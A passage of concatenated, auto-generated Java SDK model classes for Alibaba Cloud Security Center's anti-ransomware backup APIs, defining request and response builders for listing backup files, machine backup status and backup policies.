import com.aliyun.sdk.gateway.pop.models.*;
/**
*
* {@link DescribeBackupFilesResponseBody} extends {@link TeaModel}
*
* <p>DescribeBackupFilesResponseBody</p>
*/
public class DescribeBackupFilesResponseBody extends TeaModel {
@com.aliyun.core.annotation.NameInMap("BackupFiles")
private java.util.List<BackupFiles> backupFiles;
@com.aliyun.core.annotation.NameInMap("PageInfo")
private PageInfo pageInfo;
@com.aliyun.core.annotation.NameInMap("RequestId")
private String requestId;
private DescribeBackupFilesResponseBody(Builder builder) {
this.backupFiles = builder.backupFiles;
this.pageInfo = builder.pageInfo;
this.requestId = builder.requestId;
}
public static Builder builder() {
return new Builder();
}
public static DescribeBackupFilesResponseBody create() {
return builder().build();
}
public Builder toBuilder() {
return new Builder(this);
}
/**
* @return backupFiles
*/
public java.util.List<BackupFiles> getBackupFiles() {
return this.backupFiles;
}
/**
* @return pageInfo
*/
public PageInfo getPageInfo() {
return this.pageInfo;
}
/**
* @return requestId
*/
public String getRequestId() {
return this.requestId;
}
public static final class Builder {
private java.util.List<BackupFiles> backupFiles;
private PageInfo pageInfo;
private String requestId;
private Builder() {
}
private Builder(DescribeBackupFilesResponseBody model) {
this.backupFiles = model.backupFiles;
this.pageInfo = model.pageInfo;
this.requestId = model.requestId;
}
/**
* <p>An array that consists of the backup files returned.</p>
*/
public Builder backupFiles(java.util.List<BackupFiles> backupFiles) {
this.backupFiles = backupFiles;
return this;
}
/**
* <p>The pagination information.</p>
*/
public Builder pageInfo(PageInfo pageInfo) {
this.pageInfo = pageInfo;
return this;
}
/**
* <p>The ID of the request, which is used to locate and troubleshoot issues.</p>
*
* <strong>example:</strong>
* <p>00A60A6D-33E0-5D5A-9B7C-E5D4DCA88148</p>
*/
public Builder requestId(String requestId) {
this.requestId = requestId;
return this;
}
public DescribeBackupFilesResponseBody build() {
return new DescribeBackupFilesResponseBody(this);
}
}
/**
*
* {@link DescribeBackupFilesResponseBody} extends {@link TeaModel}
*
* <p>DescribeBackupFilesResponseBody</p>
*/
public static class BackupFiles extends TeaModel {
@com.aliyun.core.annotation.NameInMap("Name")
private String name;
@com.aliyun.core.annotation.NameInMap("Size")
private Long size;
@com.aliyun.core.annotation.NameInMap("Subtree")
private String subtree;
@com.aliyun.core.annotation.NameInMap("Type")
private String type;
private BackupFiles(Builder builder) {
this.name = builder.name;
this.size = builder.size;
this.subtree = builder.subtree;
this.type = builder.type;
}
public static Builder builder() {
return new Builder();
}
public static BackupFiles create() {
return builder().build();
}
/**
* @return name
*/
public String getName() {
return this.name;
}
/**
* @return size
*/
public Long getSize() {
return this.size;
}
/**
* @return subtree
*/
public String getSubtree() {
return this.subtree;
}
/**
* @return type
*/
public String getType() {
return this.type;
}
public static final class Builder {
private String name;
private Long size;
private String subtree;
private String type;
private Builder() {
}
private Builder(BackupFiles model) {
this.name = model.name;
this.size = model.size;
this.subtree = model.subtree;
this.type = model.type;
}
/**
* <p>The name of the anti-ransomware policy.</p>
*
* <strong>example:</strong>
* <p>Group 1</p>
*/
public Builder name(String name) {
this.name = name;
return this;
}
/**
* <p>The size of the backup file. Unit: bytes.</p>
*
* <strong>example:</strong>
* <p>100</p>
*/
public Builder size(Long size) {
this.size = size;
return this;
}
/**
* <p>The path to the subdirectory of the backup file.</p>
*
* <strong>example:</strong>
* <p>Python27\</p>
*/
public Builder subtree(String subtree) {
this.subtree = subtree;
return this;
}
/**
* <p>The type of the protected file. Valid values:</p>
* <ul>
* <li><strong>file</strong>: files</li>
* <li><strong>dir</strong>: folders</li>
* </ul>
*
* <strong>example:</strong>
* <p>dir</p>
*/
public Builder type(String type) {
this.type = type;
return this;
}
public BackupFiles build() {
return new BackupFiles(this);
}
}
}
/**
*
* {@link DescribeBackupFilesResponseBody} extends {@link TeaModel}
*
* <p>DescribeBackupFilesResponseBody</p>
*/
public static class PageInfo extends TeaModel {
@com.aliyun.core.annotation.NameInMap("Count")
private Integer count;
@com.aliyun.core.annotation.NameInMap("CurrentPage")
private Integer currentPage;
@com.aliyun.core.annotation.NameInMap("PageSize")
private Integer pageSize;
@com.aliyun.core.annotation.NameInMap("TotalCount")
private Integer totalCount;
private PageInfo(Builder builder) {
this.count = builder.count;
this.currentPage = builder.currentPage;
this.pageSize = builder.pageSize;
this.totalCount = builder.totalCount;
}
public static Builder builder() {
return new Builder();
}
public static PageInfo create() {
return builder().build();
}
/**
* @return count
*/
public Integer getCount() {
return this.count;
}
/**
* @return currentPage
*/
public Integer getCurrentPage() {
return this.currentPage;
}
/**
* @return pageSize
*/
public Integer getPageSize() {
return this.pageSize;
}
/**
* @return totalCount
*/
public Integer getTotalCount() {
return this.totalCount;
}
public static final class Builder {
private Integer count;
private Integer currentPage;
private Integer pageSize;
private Integer totalCount;
private Builder() {
}
private Builder(PageInfo model) {
this.count = model.count;
this.currentPage = model.currentPage;
this.pageSize = model.pageSize;
this.totalCount = model.totalCount;
}
/**
* <p>The number of backup files returned on the current page.</p>
*
* <strong>example:</strong>
* <p>10</p>
*/
public Builder count(Integer count) {
this.count = count;
return this;
}
/**
* <p>The page number of the returned page.</p>
*
* <strong>example:</strong>
* <p>1</p>
*/
public Builder currentPage(Integer currentPage) {
this.currentPage = currentPage;
return this;
}
/**
* <p>The number of entries returned per page. Default value: <strong>10</strong>.</p>
*
* <strong>example:</strong>
* <p>10</p>
*/
public Builder pageSize(Integer pageSize) {
this.pageSize = pageSize;
return this;
}
/**
* <p>The total number of backup files returned.</p>
*
* <strong>example:</strong>
* <p>69</p>
*/
public Builder totalCount(Integer totalCount) {
this.totalCount = totalCount;
return this;
}
public PageInfo build() {
return new PageInfo(this);
}
}
}
}
|
0 | java-sources/com/aliyun/alibabacloud-sas20181203/5.0.1/com/aliyun/sdk/service/sas20181203 | java-sources/com/aliyun/alibabacloud-sas20181203/5.0.1/com/aliyun/sdk/service/sas20181203/models/DescribeBackupMachineStatusRequest.java | // This file is auto-generated, don't edit it. Thanks.
package com.aliyun.sdk.service.sas20181203.models;
import com.aliyun.sdk.gateway.pop.*;
import darabonba.core.*;
import darabonba.core.async.*;
import darabonba.core.sync.*;
import darabonba.core.client.*;
import darabonba.core.RequestModel;
import darabonba.core.TeaModel;
import com.aliyun.sdk.gateway.pop.models.*;
/**
*
* {@link DescribeBackupMachineStatusRequest} extends {@link RequestModel}
*
* <p>DescribeBackupMachineStatusRequest</p>
*/
public class DescribeBackupMachineStatusRequest extends Request {
@com.aliyun.core.annotation.Query
@com.aliyun.core.annotation.NameInMap("PolicyId")
@com.aliyun.core.annotation.Validation(required = true)
private Long policyId;
@com.aliyun.core.annotation.Query
@com.aliyun.core.annotation.NameInMap("PolicyVersion")
private String policyVersion;
@com.aliyun.core.annotation.Query
@com.aliyun.core.annotation.NameInMap("Uuid")
@com.aliyun.core.annotation.Validation(required = true)
private String uuid;
private DescribeBackupMachineStatusRequest(Builder builder) {
super(builder);
this.policyId = builder.policyId;
this.policyVersion = builder.policyVersion;
this.uuid = builder.uuid;
}
public static Builder builder() {
return new Builder();
}
public static DescribeBackupMachineStatusRequest create() {
return builder().build();
}
@Override
public Builder toBuilder() {
return new Builder(this);
}
/**
* @return policyId
*/
public Long getPolicyId() {
return this.policyId;
}
/**
* @return policyVersion
*/
public String getPolicyVersion() {
return this.policyVersion;
}
/**
* @return uuid
*/
public String getUuid() {
return this.uuid;
}
public static final class Builder extends Request.Builder<DescribeBackupMachineStatusRequest, Builder> {
private Long policyId;
private String policyVersion;
private String uuid;
private Builder() {
super();
}
private Builder(DescribeBackupMachineStatusRequest request) {
super(request);
this.policyId = request.policyId;
this.policyVersion = request.policyVersion;
this.uuid = request.uuid;
}
/**
* <p>The ID of the anti-ransomware policy.</p>
* <blockquote>
* <p> You can call the <a href="~~DescribeBackupPolicies~~">DescribeBackupPolicies</a> operation to query the IDs of anti-ransomware policies.</p>
* </blockquote>
* <p>This parameter is required.</p>
*
* <strong>example:</strong>
* <p>123</p>
*/
public Builder policyId(Long policyId) {
this.putQueryParameter("PolicyId", policyId);
this.policyId = policyId;
return this;
}
/**
* <p>The version of the anti-ransomware policy. Valid values:</p>
* <ul>
* <li><strong>1.0.0</strong></li>
* <li><strong>2.0.0</strong></li>
* </ul>
*
* <strong>example:</strong>
* <p>2.0.0</p>
*/
public Builder policyVersion(String policyVersion) {
this.putQueryParameter("PolicyVersion", policyVersion);
this.policyVersion = policyVersion;
return this;
}
/**
* <p>The UUID of the server.</p>
* <blockquote>
* <p> You can call the <a href="~~DescribeBackupPolicy~~">DescribeBackupPolicy</a> operation to query the UUIDs of servers.</p>
* </blockquote>
* <p>This parameter is required.</p>
*
* <strong>example:</strong>
* <p>eb2c782e-64f2-4590-a86c-d90164df****</p>
*/
public Builder uuid(String uuid) {
this.putQueryParameter("Uuid", uuid);
this.uuid = uuid;
return this;
}
@Override
public DescribeBackupMachineStatusRequest build() {
return new DescribeBackupMachineStatusRequest(this);
}
}
}
|
0 | java-sources/com/aliyun/alibabacloud-sas20181203/5.0.1/com/aliyun/sdk/service/sas20181203 | java-sources/com/aliyun/alibabacloud-sas20181203/5.0.1/com/aliyun/sdk/service/sas20181203/models/DescribeBackupMachineStatusResponse.java | // This file is auto-generated, don't edit it. Thanks.
package com.aliyun.sdk.service.sas20181203.models;
import com.aliyun.sdk.gateway.pop.*;
import darabonba.core.*;
import darabonba.core.async.*;
import darabonba.core.sync.*;
import darabonba.core.client.*;
import darabonba.core.RequestModel;
import darabonba.core.TeaModel;
import com.aliyun.sdk.gateway.pop.models.*;
/**
*
* {@link DescribeBackupMachineStatusResponse} extends {@link TeaModel}
*
* <p>DescribeBackupMachineStatusResponse</p>
*/
public class DescribeBackupMachineStatusResponse extends Response {
@com.aliyun.core.annotation.NameInMap("headers")
private java.util.Map<String, String> headers;
@com.aliyun.core.annotation.NameInMap("statusCode")
private Integer statusCode;
@com.aliyun.core.annotation.NameInMap("body")
private DescribeBackupMachineStatusResponseBody body;
private DescribeBackupMachineStatusResponse(BuilderImpl builder) {
super(builder);
this.headers = builder.headers;
this.statusCode = builder.statusCode;
this.body = builder.body;
}
public static DescribeBackupMachineStatusResponse create() {
return new BuilderImpl().build();
}
@Override
public Builder toBuilder() {
return new BuilderImpl(this);
}
/**
* @return headers
*/
public java.util.Map<String, String> getHeaders() {
return this.headers;
}
/**
* @return statusCode
*/
public Integer getStatusCode() {
return this.statusCode;
}
/**
* @return body
*/
public DescribeBackupMachineStatusResponseBody getBody() {
return this.body;
}
public interface Builder extends Response.Builder<DescribeBackupMachineStatusResponse, Builder> {
Builder headers(java.util.Map<String, String> headers);
Builder statusCode(Integer statusCode);
Builder body(DescribeBackupMachineStatusResponseBody body);
@Override
DescribeBackupMachineStatusResponse build();
}
private static final class BuilderImpl
extends Response.BuilderImpl<DescribeBackupMachineStatusResponse, Builder>
implements Builder {
private java.util.Map<String, String> headers;
private Integer statusCode;
private DescribeBackupMachineStatusResponseBody body;
private BuilderImpl() {
super();
}
private BuilderImpl(DescribeBackupMachineStatusResponse response) {
super(response);
this.headers = response.headers;
this.statusCode = response.statusCode;
this.body = response.body;
}
/**
* headers.
*/
@Override
public Builder headers(java.util.Map<String, String> headers) {
this.headers = headers;
return this;
}
/**
* statusCode.
*/
@Override
public Builder statusCode(Integer statusCode) {
this.statusCode = statusCode;
return this;
}
/**
* body.
*/
@Override
public Builder body(DescribeBackupMachineStatusResponseBody body) {
this.body = body;
return this;
}
@Override
public DescribeBackupMachineStatusResponse build() {
return new DescribeBackupMachineStatusResponse(this);
}
}
}
|
0 | java-sources/com/aliyun/alibabacloud-sas20181203/5.0.1/com/aliyun/sdk/service/sas20181203 | java-sources/com/aliyun/alibabacloud-sas20181203/5.0.1/com/aliyun/sdk/service/sas20181203/models/DescribeBackupMachineStatusResponseBody.java | // This file is auto-generated, don't edit it. Thanks.
package com.aliyun.sdk.service.sas20181203.models;
import com.aliyun.sdk.gateway.pop.*;
import darabonba.core.*;
import darabonba.core.async.*;
import darabonba.core.sync.*;
import darabonba.core.client.*;
import darabonba.core.RequestModel;
import darabonba.core.TeaModel;
import com.aliyun.sdk.gateway.pop.models.*;
/**
*
* {@link DescribeBackupMachineStatusResponseBody} extends {@link TeaModel}
*
* <p>DescribeBackupMachineStatusResponseBody</p>
*/
public class DescribeBackupMachineStatusResponseBody extends TeaModel {
@com.aliyun.core.annotation.NameInMap("BackupMachineStatus")
private BackupMachineStatus backupMachineStatus;
@com.aliyun.core.annotation.NameInMap("RequestId")
private String requestId;
private DescribeBackupMachineStatusResponseBody(Builder builder) {
this.backupMachineStatus = builder.backupMachineStatus;
this.requestId = builder.requestId;
}
public static Builder builder() {
return new Builder();
}
public static DescribeBackupMachineStatusResponseBody create() {
return builder().build();
}
public Builder toBuilder() {
return new Builder(this);
}
/**
* @return backupMachineStatus
*/
public BackupMachineStatus getBackupMachineStatus() {
return this.backupMachineStatus;
}
/**
* @return requestId
*/
public String getRequestId() {
return this.requestId;
}
public static final class Builder {
private BackupMachineStatus backupMachineStatus;
private String requestId;
private Builder() {
}
private Builder(DescribeBackupMachineStatusResponseBody model) {
this.backupMachineStatus = model.backupMachineStatus;
this.requestId = model.requestId;
}
/**
* <p>The backup status of the server.</p>
*/
public Builder backupMachineStatus(BackupMachineStatus backupMachineStatus) {
this.backupMachineStatus = backupMachineStatus;
return this;
}
/**
* <p>The ID of the request, which is used to locate and troubleshoot issues.</p>
*
* <strong>example:</strong>
* <p>09969D2C-4FAD-429E-BFBF-9A60DEF8****</p>
*/
public Builder requestId(String requestId) {
this.requestId = requestId;
return this;
}
public DescribeBackupMachineStatusResponseBody build() {
return new DescribeBackupMachineStatusResponseBody(this);
}
}
/**
*
* {@link DescribeBackupMachineStatusResponseBody} extends {@link TeaModel}
*
* <p>DescribeBackupMachineStatusResponseBody</p>
*/
public static class ErrorList extends TeaModel {
@com.aliyun.core.annotation.NameInMap("ErrorCode")
private String errorCode;
@com.aliyun.core.annotation.NameInMap("ErrorStatus")
private String errorStatus;
private ErrorList(Builder builder) {
this.errorCode = builder.errorCode;
this.errorStatus = builder.errorStatus;
}
public static Builder builder() {
return new Builder();
}
public static ErrorList create() {
return builder().build();
}
/**
* @return errorCode
*/
public String getErrorCode() {
return this.errorCode;
}
/**
* @return errorStatus
*/
public String getErrorStatus() {
return this.errorStatus;
}
public static final class Builder {
private String errorCode;
private String errorStatus;
private Builder() {
}
private Builder(ErrorList model) {
this.errorCode = model.errorCode;
this.errorStatus = model.errorStatus;
}
/**
* <p>The error code.</p>
*
* <strong>example:</strong>
* <p>TARGET_NOT_EXIST</p>
*/
public Builder errorCode(String errorCode) {
this.errorCode = errorCode;
return this;
}
/**
* <p>The error message.</p>
*
* <strong>example:</strong>
* <p>FAILED</p>
*/
public Builder errorStatus(String errorStatus) {
this.errorStatus = errorStatus;
return this;
}
public ErrorList build() {
return new ErrorList(this);
}
}
}
/**
*
* {@link DescribeBackupMachineStatusResponseBody} extends {@link TeaModel}
*
* <p>DescribeBackupMachineStatusResponseBody</p>
*/
public static class BackupMachineStatus extends TeaModel {
@com.aliyun.core.annotation.NameInMap("ClientId")
private String clientId;
@com.aliyun.core.annotation.NameInMap("ClientStatus")
private String clientStatus;
@com.aliyun.core.annotation.NameInMap("ClientVersion")
private String clientVersion;
@com.aliyun.core.annotation.NameInMap("ErrorCode")
private String errorCode;
@com.aliyun.core.annotation.NameInMap("ErrorList")
private java.util.List<ErrorList> errorList;
@com.aliyun.core.annotation.NameInMap("InstanceId")
private String instanceId;
@com.aliyun.core.annotation.NameInMap("RegionId")
private String regionId;
@com.aliyun.core.annotation.NameInMap("SavedBackupCount")
private Integer savedBackupCount;
@com.aliyun.core.annotation.NameInMap("ServiceStatus")
private String serviceStatus;
@com.aliyun.core.annotation.NameInMap("Status")
private String status;
@com.aliyun.core.annotation.NameInMap("Uuid")
private String uuid;
@com.aliyun.core.annotation.NameInMap("VaultId")
private String vaultId;
private BackupMachineStatus(Builder builder) {
this.clientId = builder.clientId;
this.clientStatus = builder.clientStatus;
this.clientVersion = builder.clientVersion;
this.errorCode = builder.errorCode;
this.errorList = builder.errorList;
this.instanceId = builder.instanceId;
this.regionId = builder.regionId;
this.savedBackupCount = builder.savedBackupCount;
this.serviceStatus = builder.serviceStatus;
this.status = builder.status;
this.uuid = builder.uuid;
this.vaultId = builder.vaultId;
}
public static Builder builder() {
return new Builder();
}
public static BackupMachineStatus create() {
return builder().build();
}
/**
* @return clientId
*/
public String getClientId() {
return this.clientId;
}
/**
* @return clientStatus
*/
public String getClientStatus() {
return this.clientStatus;
}
/**
* @return clientVersion
*/
public String getClientVersion() {
return this.clientVersion;
}
/**
* @return errorCode
*/
public String getErrorCode() {
return this.errorCode;
}
/**
* @return errorList
*/
public java.util.List<ErrorList> getErrorList() {
return this.errorList;
}
/**
* @return instanceId
*/
public String getInstanceId() {
return this.instanceId;
}
/**
* @return regionId
*/
public String getRegionId() {
return this.regionId;
}
/**
* @return savedBackupCount
*/
public Integer getSavedBackupCount() {
return this.savedBackupCount;
}
/**
* @return serviceStatus
*/
public String getServiceStatus() {
return this.serviceStatus;
}
/**
* @return status
*/
public String getStatus() {
return this.status;
}
/**
* @return uuid
*/
public String getUuid() {
return this.uuid;
}
/**
* @return vaultId
*/
public String getVaultId() {
return this.vaultId;
}
public static final class Builder {
private String clientId;
private String clientStatus;
private String clientVersion;
private String errorCode;
private java.util.List<ErrorList> errorList;
private String instanceId;
private String regionId;
private Integer savedBackupCount;
private String serviceStatus;
private String status;
private String uuid;
private String vaultId;
private Builder() {
}
private Builder(BackupMachineStatus model) {
this.clientId = model.clientId;
this.clientStatus = model.clientStatus;
this.clientVersion = model.clientVersion;
this.errorCode = model.errorCode;
this.errorList = model.errorList;
this.instanceId = model.instanceId;
this.regionId = model.regionId;
this.savedBackupCount = model.savedBackupCount;
this.serviceStatus = model.serviceStatus;
this.status = model.status;
this.uuid = model.uuid;
this.vaultId = model.vaultId;
}
/**
* <p>The ID of the anti-ransomware agent.</p>
*
* <strong>example:</strong>
* <p>c-000dbefaw9f7gnbw****</p>
*/
public Builder clientId(String clientId) {
this.clientId = clientId;
return this;
}
/**
* <p>The status of the anti-ransomware agent. Valid values:</p>
* <ul>
* <li><strong>ONLINE</strong>: normal</li>
* <li><strong>CLIENT_CONNECTION_ERROR</strong>: abnormal</li>
* <li><strong>UNINSTALLING</strong>: being uninstalled</li>
* <li><strong>UNINSTALL_FAILED</strong>: failed to be uninstalled</li>
* <li><strong>UPGRADING</strong>: being upgraded</li>
* <li><strong>UPGRADE_FAILED</strong>: failed to be upgraded</li>
* </ul>
*
* <strong>example:</strong>
* <p>ONLINE</p>
*/
public Builder clientStatus(String clientStatus) {
this.clientStatus = clientStatus;
return this;
}
/**
* <p>The version of the anti-ransomware agent.</p>
*
* <strong>example:</strong>
* <p>2.11.0</p>
*/
public Builder clientVersion(String clientVersion) {
this.clientVersion = clientVersion;
return this;
}
/**
* <p>The error code returned.</p>
*
* <strong>example:</strong>
* <p>CLIENT_CONNECTION_ERROR</p>
*/
public Builder errorCode(String errorCode) {
this.errorCode = errorCode;
return this;
}
/**
* <p>An array that consists of the error information reported by the backup server.</p>
*/
public Builder errorList(java.util.List<ErrorList> errorList) {
this.errorList = errorList;
return this;
}
/**
* <p>The ID of the server.</p>
*
* <strong>example:</strong>
* <p>i-2zeaqkb80vloxjcj****</p>
*/
public Builder instanceId(String instanceId) {
this.instanceId = instanceId;
return this;
}
/**
* <p>The ID of the region in which the server resides.</p>
*
* <strong>example:</strong>
* <p>cn-shenzhen</p>
*/
public Builder regionId(String regionId) {
this.regionId = regionId;
return this;
}
/**
* <p>The number of backup versions.</p>
*
* <strong>example:</strong>
* <p>7</p>
*/
public Builder savedBackupCount(Integer savedBackupCount) {
this.savedBackupCount = savedBackupCount;
return this;
}
/**
* <p>The status of the anti-ransomware service. Valid values:</p>
* <ul>
* <li><strong>SERVICE_EXCEPTION</strong>: Service exception</li>
* <li><strong>RESTORING</strong>: Restoring</li>
* <li><strong>BACKING_UP</strong>: Backup in process</li>
* </ul>
*
* <strong>example:</strong>
* <p>RESTORING</p>
*/
public Builder serviceStatus(String serviceStatus) {
this.serviceStatus = serviceStatus;
return this;
}
/**
* <p>The status of the anti-ransomware agent. Valid values:</p>
* <ul>
* <li><strong>NOT_INSTALLED</strong>: not installed</li>
* <li><strong>CLIENT_CONNECTION_ERROR</strong>: abnormal</li>
* <li><strong>ACTIVATED</strong>: normal</li>
* </ul>
*
* <strong>example:</strong>
* <p>ACTIVATED</p>
*/
public Builder status(String status) {
this.status = status;
return this;
}
/**
* <p>The UUID of the server.</p>
*
* <strong>example:</strong>
* <p>eb2c782e-64f2-4590-a86c-d90164df****</p>
*/
public Builder uuid(String uuid) {
this.uuid = uuid;
return this;
}
/**
* <p>The ID of the backup vault in which the backup data is stored.</p>
*
* <strong>example:</strong>
* <p>v-0005i2qh5fcr6seo****</p>
*/
public Builder vaultId(String vaultId) {
this.vaultId = vaultId;
return this;
}
public BackupMachineStatus build() {
return new BackupMachineStatus(this);
}
}
}
}
|
0 | java-sources/com/aliyun/alibabacloud-sas20181203/5.0.1/com/aliyun/sdk/service/sas20181203 | java-sources/com/aliyun/alibabacloud-sas20181203/5.0.1/com/aliyun/sdk/service/sas20181203/models/DescribeBackupPoliciesRequest.java | // This file is auto-generated, don't edit it. Thanks.
package com.aliyun.sdk.service.sas20181203.models;
import com.aliyun.sdk.gateway.pop.*;
import darabonba.core.*;
import darabonba.core.async.*;
import darabonba.core.sync.*;
import darabonba.core.client.*;
import darabonba.core.RequestModel;
import darabonba.core.TeaModel;
import com.aliyun.sdk.gateway.pop.models.*;
/**
*
* {@link DescribeBackupPoliciesRequest} extends {@link RequestModel}
*
* <p>DescribeBackupPoliciesRequest</p>
*/
public class DescribeBackupPoliciesRequest extends Request {
@com.aliyun.core.annotation.Query
@com.aliyun.core.annotation.NameInMap("CurrentPage")
@com.aliyun.core.annotation.Validation(required = true)
private Integer currentPage;
@com.aliyun.core.annotation.Query
@com.aliyun.core.annotation.NameInMap("MachineRemark")
private String machineRemark;
@com.aliyun.core.annotation.Query
@com.aliyun.core.annotation.NameInMap("Name")
private String name;
@com.aliyun.core.annotation.Query
@com.aliyun.core.annotation.NameInMap("PageSize")
@com.aliyun.core.annotation.Validation(required = true)
private Integer pageSize;
@com.aliyun.core.annotation.Query
@com.aliyun.core.annotation.NameInMap("Status")
private String status;
private DescribeBackupPoliciesRequest(Builder builder) {
super(builder);
this.currentPage = builder.currentPage;
this.machineRemark = builder.machineRemark;
this.name = builder.name;
this.pageSize = builder.pageSize;
this.status = builder.status;
}
public static Builder builder() {
return new Builder();
}
public static DescribeBackupPoliciesRequest create() {
return builder().build();
}
@Override
public Builder toBuilder() {
return new Builder(this);
}
/**
* @return currentPage
*/
public Integer getCurrentPage() {
return this.currentPage;
}
/**
* @return machineRemark
*/
public String getMachineRemark() {
return this.machineRemark;
}
/**
* @return name
*/
public String getName() {
return this.name;
}
/**
* @return pageSize
*/
public Integer getPageSize() {
return this.pageSize;
}
/**
* @return status
*/
public String getStatus() {
return this.status;
}
public static final class Builder extends Request.Builder<DescribeBackupPoliciesRequest, Builder> {
private Integer currentPage;
private String machineRemark;
private String name;
private Integer pageSize;
private String status;
private Builder() {
super();
}
private Builder(DescribeBackupPoliciesRequest request) {
super(request);
this.currentPage = request.currentPage;
this.machineRemark = request.machineRemark;
this.name = request.name;
this.pageSize = request.pageSize;
this.status = request.status;
}
/**
* <p>The number of the page to return. Default value: 1.</p>
* <p>This parameter is required.</p>
*
* <strong>example:</strong>
* <p>1</p>
*/
public Builder currentPage(Integer currentPage) {
this.putQueryParameter("CurrentPage", currentPage);
this.currentPage = currentPage;
return this;
}
/**
* <p>The information that you want to use to identify the servers protected by the anti-ransomware policy. You can enter the IP address or ID of a server.</p>
*
* <strong>example:</strong>
* <p>1.1.XX.XX</p>
*/
public Builder machineRemark(String machineRemark) {
this.putQueryParameter("MachineRemark", machineRemark);
this.machineRemark = machineRemark;
return this;
}
/**
* <p>The name of the anti-ransomware policy that you want to query.</p>
*
* <strong>example:</strong>
* <p>SecurityStrategy-20200303</p>
*/
public Builder name(String name) {
this.putQueryParameter("Name", name);
this.name = name;
return this;
}
/**
* <p>The number of entries to return on each page. Default value: 10.</p>
* <p>This parameter is required.</p>
*
* <strong>example:</strong>
* <p>10</p>
*/
public Builder pageSize(Integer pageSize) {
this.putQueryParameter("PageSize", pageSize);
this.pageSize = pageSize;
return this;
}
/**
* <p>The status of the anti-ransomware policy. Valid values:</p>
* <ul>
* <li><strong>enabled</strong>: The anti-ransomware policy is manually enabled.</li>
* <li><strong>disabled</strong>: The anti-ransomware policy is manually disabled. After an anti-ransomware policy is disabled, the data backup task that is running based on the policy stops.</li>
* <li><strong>closed</strong>: The anti-ransomware policy automatically stops because the anti-ransomware capacity is insufficient.</li>
* </ul>
*
* <strong>example:</strong>
* <p>enabled</p>
*/
public Builder status(String status) {
this.putQueryParameter("Status", status);
this.status = status;
return this;
}
@Override
public DescribeBackupPoliciesRequest build() {
return new DescribeBackupPoliciesRequest(this);
}
}
}
|
0 | java-sources/com/aliyun/alibabacloud-sas20181203/5.0.1/com/aliyun/sdk/service/sas20181203 | java-sources/com/aliyun/alibabacloud-sas20181203/5.0.1/com/aliyun/sdk/service/sas20181203/models/DescribeBackupPoliciesResponse.java | // This file is auto-generated, don't edit it. Thanks.
package com.aliyun.sdk.service.sas20181203.models;
import com.aliyun.sdk.gateway.pop.*;
import darabonba.core.*;
import darabonba.core.async.*;
import darabonba.core.sync.*;
import darabonba.core.client.*;
import darabonba.core.RequestModel;
import darabonba.core.TeaModel;
import com.aliyun.sdk.gateway.pop.models.*;
/**
*
* {@link DescribeBackupPoliciesResponse} extends {@link TeaModel}
*
* <p>DescribeBackupPoliciesResponse</p>
*/
public class DescribeBackupPoliciesResponse extends Response {
@com.aliyun.core.annotation.NameInMap("headers")
private java.util.Map<String, String> headers;
@com.aliyun.core.annotation.NameInMap("statusCode")
private Integer statusCode;
@com.aliyun.core.annotation.NameInMap("body")
private DescribeBackupPoliciesResponseBody body;
private DescribeBackupPoliciesResponse(BuilderImpl builder) {
super(builder);
this.headers = builder.headers;
this.statusCode = builder.statusCode;
this.body = builder.body;
}
public static DescribeBackupPoliciesResponse create() {
return new BuilderImpl().build();
}
@Override
public Builder toBuilder() {
return new BuilderImpl(this);
}
/**
* @return headers
*/
public java.util.Map<String, String> getHeaders() {
return this.headers;
}
/**
* @return statusCode
*/
public Integer getStatusCode() {
return this.statusCode;
}
/**
* @return body
*/
public DescribeBackupPoliciesResponseBody getBody() {
return this.body;
}
public interface Builder extends Response.Builder<DescribeBackupPoliciesResponse, Builder> {
Builder headers(java.util.Map<String, String> headers);
Builder statusCode(Integer statusCode);
Builder body(DescribeBackupPoliciesResponseBody body);
@Override
DescribeBackupPoliciesResponse build();
}
private static final class BuilderImpl
extends Response.BuilderImpl<DescribeBackupPoliciesResponse, Builder>
implements Builder {
private java.util.Map<String, String> headers;
private Integer statusCode;
private DescribeBackupPoliciesResponseBody body;
private BuilderImpl() {
super();
}
private BuilderImpl(DescribeBackupPoliciesResponse response) {
super(response);
this.headers = response.headers;
this.statusCode = response.statusCode;
this.body = response.body;
}
/**
* headers.
*/
@Override
public Builder headers(java.util.Map<String, String> headers) {
this.headers = headers;
return this;
}
/**
* statusCode.
*/
@Override
public Builder statusCode(Integer statusCode) {
this.statusCode = statusCode;
return this;
}
/**
* body.
*/
@Override
public Builder body(DescribeBackupPoliciesResponseBody body) {
this.body = body;
return this;
}
@Override
public DescribeBackupPoliciesResponse build() {
return new DescribeBackupPoliciesResponse(this);
}
}
}
|
0 | java-sources/com/aliyun/alibabacloud-sas20181203/5.0.1/com/aliyun/sdk/service/sas20181203 | java-sources/com/aliyun/alibabacloud-sas20181203/5.0.1/com/aliyun/sdk/service/sas20181203/models/DescribeBackupPoliciesResponseBody.java | // This file is auto-generated, don't edit it. Thanks.
package com.aliyun.sdk.service.sas20181203.models;
import com.aliyun.sdk.gateway.pop.*;
import darabonba.core.*;
import darabonba.core.async.*;
import darabonba.core.sync.*;
import darabonba.core.client.*;
import darabonba.core.RequestModel;
import darabonba.core.TeaModel;
import com.aliyun.sdk.gateway.pop.models.*;
/**
*
* {@link DescribeBackupPoliciesResponseBody} extends {@link TeaModel}
*
* <p>DescribeBackupPoliciesResponseBody</p>
*/
public class DescribeBackupPoliciesResponseBody extends TeaModel {
@com.aliyun.core.annotation.NameInMap("PageInfo")
private PageInfo pageInfo;
@com.aliyun.core.annotation.NameInMap("Policies")
private java.util.List<Policies> policies;
@com.aliyun.core.annotation.NameInMap("RequestId")
private String requestId;
private DescribeBackupPoliciesResponseBody(Builder builder) {
this.pageInfo = builder.pageInfo;
this.policies = builder.policies;
this.requestId = builder.requestId;
}
public static Builder builder() {
return new Builder();
}
public static DescribeBackupPoliciesResponseBody create() {
return builder().build();
}
public Builder toBuilder() {
return new Builder(this);
}
/**
* @return pageInfo
*/
public PageInfo getPageInfo() {
return this.pageInfo;
}
/**
* @return policies
*/
public java.util.List<Policies> getPolicies() {
return this.policies;
}
/**
* @return requestId
*/
public String getRequestId() {
return this.requestId;
}
public static final class Builder {
private PageInfo pageInfo;
private java.util.List<Policies> policies;
private String requestId;
private Builder() {
}
private Builder(DescribeBackupPoliciesResponseBody model) {
this.pageInfo = model.pageInfo;
this.policies = model.policies;
this.requestId = model.requestId;
}
/**
* <p>The pagination information.</p>
*/
public Builder pageInfo(PageInfo pageInfo) {
this.pageInfo = pageInfo;
return this;
}
/**
* <p>The details of the anti-ransomware policy.</p>
*/
public Builder policies(java.util.List<Policies> policies) {
this.policies = policies;
return this;
}
/**
